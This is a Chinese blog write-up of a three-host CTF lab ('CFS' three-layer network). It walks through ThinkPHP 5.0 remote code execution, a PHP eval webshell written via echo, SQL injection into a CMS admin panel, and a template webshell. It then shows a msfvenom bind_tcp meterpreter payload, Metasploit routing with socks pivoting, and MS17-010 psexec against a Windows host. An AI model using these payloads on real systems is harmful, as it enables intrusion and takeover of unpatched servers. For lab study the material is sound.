CFS三层网络环境靶场实战
一、环境搭建:
①根据作者公开的靶机信息整理
共有三个targets,目标是拿下三台主机权限,且是三层的网络环境,内网网段有192.168.22.0/24和192.168.33.0/24,添加两张仅主机模式网卡,配置如下:
②虚拟机网卡设置
target1(centos) 双网卡模拟内外网:
外网:192.168.1.3,桥接模式
内网:192.168.22.128,仅主机模式
target2(ubuntu) 双网卡存在两个内网网段:
内网1:192.168.22.22,仅主机模式
内网2:192.168.33.22,仅主机模式
target3(win7) 单网卡仅内网:
内网:192.168.33.33,仅主机模式
开启web服务环境:
宝塔后台登陆地址及密码:
http://靶机外网ip:8888/a768f109/
账号:eaj3yhsl,密码:41bb8fee,根据实际靶机ip,配置即可,我的配置如下:
二、渗透实战:
0x01 target1:
①信息收集
nmap 192.168.1.3 -sV -T4
访问80端口,发现是thinkphp5.0
②tp5.0 rce Getshell
index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
直接使用echo写websehll(注意:linux下使用\转义$,windows下用^转义):
http://192.168.1.3/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php eval(\$_POST[cmd]);?>" >shell.php
③MSF上线
我这里使用web_delivery模块一句话上线,因为方便,我懒...
利用蚁剑执行即可上线:
④横向移动
查看ip信息,发现有两个网卡
添加路由、socks代理,进行横向移动
添加成功
开启socks5代理
⑤存活主机探测
发现一台ip为192168.22.22的主机,并且开启了80端口,应该是web服务
ok,target1就到此结束...
0x02 target2:
①信息收集
proxychains nmap 192.168.22.22 -sT -T4 -Pn
配置浏览器的socks5代理,访问80端口
是一个叫什么八哥CMS搭建的(没听过...)
②目录扫描
proxychains dirb http://192.168.22.22/
扫出一个robots.txt,发现有两个admin的目录
发现是一个后台登陆界面,爆破就先不打算(除非万不得已)
等待了一会dirb的扫描结果,也没其他重要的目录,就从页面源代码收集一下信息吧,竟然直接给出了注入点...
③注入-->后台登陆
既然给出了注入点,那就直接sqlmap一把梭
proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" --batch
但是sqlmap一直无法连接url,就像这样....具体啥原因还不清楚...
所以就换成了超级sql注入工具(可配置socks代理)
获取到admin表的账号密码,解密为:123qwe
然后成功登陆后台
④模板Getshell
巡视了一下后台的功能点,发现有熟悉的模板功能,发现可以直接修改文件
修改tag下的index.php文件,插入webshell
蚁剑添加socks代理后连接webshell
⑤MSF上线
生成一个bind正向连接的马
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=6666 -f elf -o test.elf
上传到目标服务器
给执行权限,并执行
MSF开启监听,即可收到会话
set payload linux/x86/meterpreter/bind_tcp
set lport 6666
set rhost 192.168.22.22
run
查看网卡配置,发现又多了一个192.168.33.0/24的网段
⑥添加路由和socks代理
添加多一个socks代理,注意要换一个端口
⑦探测存活主机
发现一台192.168.33.33存活主机
0x03 target3
①信息探测
proxychains nmap -Pn -sT -T4 192.168.33.33
开放了445和3389,无疑是windows了
②漏洞利用
永恒之蓝肯定要试试的,毕竟emm....舒服嘛hahah,注意payload使用bind直连
使用ms17_010_eternalblue打失败了
尝试另一个利用模块psexec的,成功拿下target3
三、总结:
总体来说这个靶机还是学到了挺多的,完整地体现了,是如何一步步利用跳板代理横向到最深处网络...
①Thinkphp5.x Rce漏洞利用,echo写马地注意事项
②MSF添加路由和socks代理,将Linux主机作为跳板从而横向移动
③八哥CMS的漏洞利用Getshell,sql注入-->后台管理登陆,后台模板Getshell
④Ms17-010的psexec利用模块的使用
⑤典型的三层网络环境,通过利用MSF强大的路由功能,不断添加路由+socks代理,横向移动到最后一层网络
CFS三层网络环境靶场实战的更多相关文章
- 《Python3 网络爬虫开发实战》开发环境配置过程中踩过的坑
<Python3 网络爬虫开发实战>学习资料:https://www.cnblogs.com/waiwai14/p/11698175.html 如何从墙内下载Android Studio: ...
- CTF大赛模拟-CFS三层内网漫游
CTF大赛模拟-CFS三层内网漫游 环境: 三台虚拟机,三个网络. target 1:192.168.161.178 ,192.168.52.132 (linux) target 2:192.168. ...
- Neutron 理解 (6): Neutron 是怎么实现虚拟三层网络的 [How Neutron implements virtual L3 network]
学习 Neutron 系列文章: (1)Neutron 所实现的虚拟化网络 (2)Neutron OpenvSwitch + VLAN 虚拟网络 (3)Neutron OpenvSwitch + GR ...
- 用openvswitch配置跨节点的docker网络环境
在一篇随笔中,我们已经尝试了在不依赖工具的情况下设置docker的ip,连我都想吐槽,MD单机都这么麻烦,在多机的环境中岂不是要了我的小命! 本文就是为了多机环境中各个节点的容器通信而做的,网络拓朴如 ...
- 崔庆才Python3网络爬虫开发实战电子版书籍分享
资料下载地址: 链接:https://pan.baidu.com/s/1WV-_XHZvYIedsC1GJ1hOtw 提取码:4o94 <崔庆才Python3网络爬虫开发实战>高清中文版P ...
- 网络知识--OSI七层网络与TCP/IP五层网络架构及二层/三层网络
作为一个合格的运维人员,一定要熟悉掌握OSI七层网络和TCP/IP五层网络结构知识. 废话不多说!下面就逐一展开对这两个网络架构知识的说明:一.OSI七层网络协议OSI是Open System Int ...
- 网络知识梳理--OSI七层网络与TCP/IP五层网络架构及二层/三层网络(转)
reference:https://www.cnblogs.com/kevingrace/p/5909719.html https://www.cnblogs.com/awkflf11/p/9190 ...
- openstack-- neutron 二/三层网络实现探究
引出 Neutron 是openstack 中提供网络虚拟化的组件,根据二层网络的实现方式不同(即agent的不同),可以分为Linux bridge的方式,Openvswitch的方式.而且,lay ...
- openstack neutron 二/三层网络实现
引用声明:https://zhangchenchen.github.io/2017/02/12/neutron-layer2-3-realization-discovry/ 一.概述 Neutron是 ...
随机推荐
- eatwhatApp开发实战(四)
之前我们做了添加店铺了功能,接下来我们做删除功能,并介绍对话框的使用方法. 在init()中注册listview的item点击监听 //注册监听 shop_lv.setOnItemClickListe ...
- echarts的时间轴的提示内容写在轴下方
echarts的时间轴的提示内容写在轴下方 在echarts中横坐标的拖动轴dataZone的提示内容在两端,并且没有相关配置让其显示在轴下方或者其他位置. 解决方式: 在图标下方添加dom并且监听拖 ...
- Rocket - interrupts - NullIntSource
https://mp.weixin.qq.com/s/Fn3u2OSLAzPDrlZTiLfikg 简单介绍NullIntSource的实现. 1. 简单介绍 NullIntSource实现一个不会发 ...
- 跟着阿里学JavaDay06——Java基础语法(四)
一.方法 方法执行到return语句后,这个方法的执行就结束了,方法可以有返回值,但可以不用这个返回值.方法首先要定义,然后才能调用. public class TestMethod{ public ...
- Python——day2
学完今天我保证你自己可以至少写50行代码 明天,还在等你 回顾day1 小练习1: 小练习2: 小练习3: 好了激情的的一天已经过去了正式开始,day2的讲解 Day2 目录: 格式化 ...
- 数据库之 MySQL --- 数据处理 之 单行函数、组函数 (四)
[1] LOWER : 将字符串中的内容全部转成小写 UPPER : 将字符串中的内容全部转成大写 SELECT LOWER ('abAcD') FROM DUAL SE ...
- Java实现 蓝桥杯 算法提高 菱形
试题 算法提高 菱形 请编程输出一个菱形.输入为菱形中心到顶点的距离 样例输入 2 样例输出 import java.util.Scanner; public class Main { public ...
- Java实现 LeetCode 398 随机数索引
398. 随机数索引 给定一个可能含有重复元素的整数数组,要求随机输出给定的数字的索引. 您可以假设给定的数字一定存在于数组中. 注意: 数组大小可能非常大. 使用太多额外空间的解决方案将不会通过测试 ...
- Java实现 LeetCode 146 LRU缓存机制
146. LRU缓存机制 运用你所掌握的数据结构,设计和实现一个 LRU (最近最少使用) 缓存机制.它应该支持以下操作: 获取数据 get 和 写入数据 put . 获取数据 get(key) - ...
- Java实现 蓝桥杯 算法提高 最大值路径
试题 算法提高 最大值路径 资源限制 时间限制:1.0s 内存限制:256.0MB 问题描述 刷微博,编程序.如下图所示,@北京发布 提出了如下"头脑震荡"问题.对此问题做一般化描 ...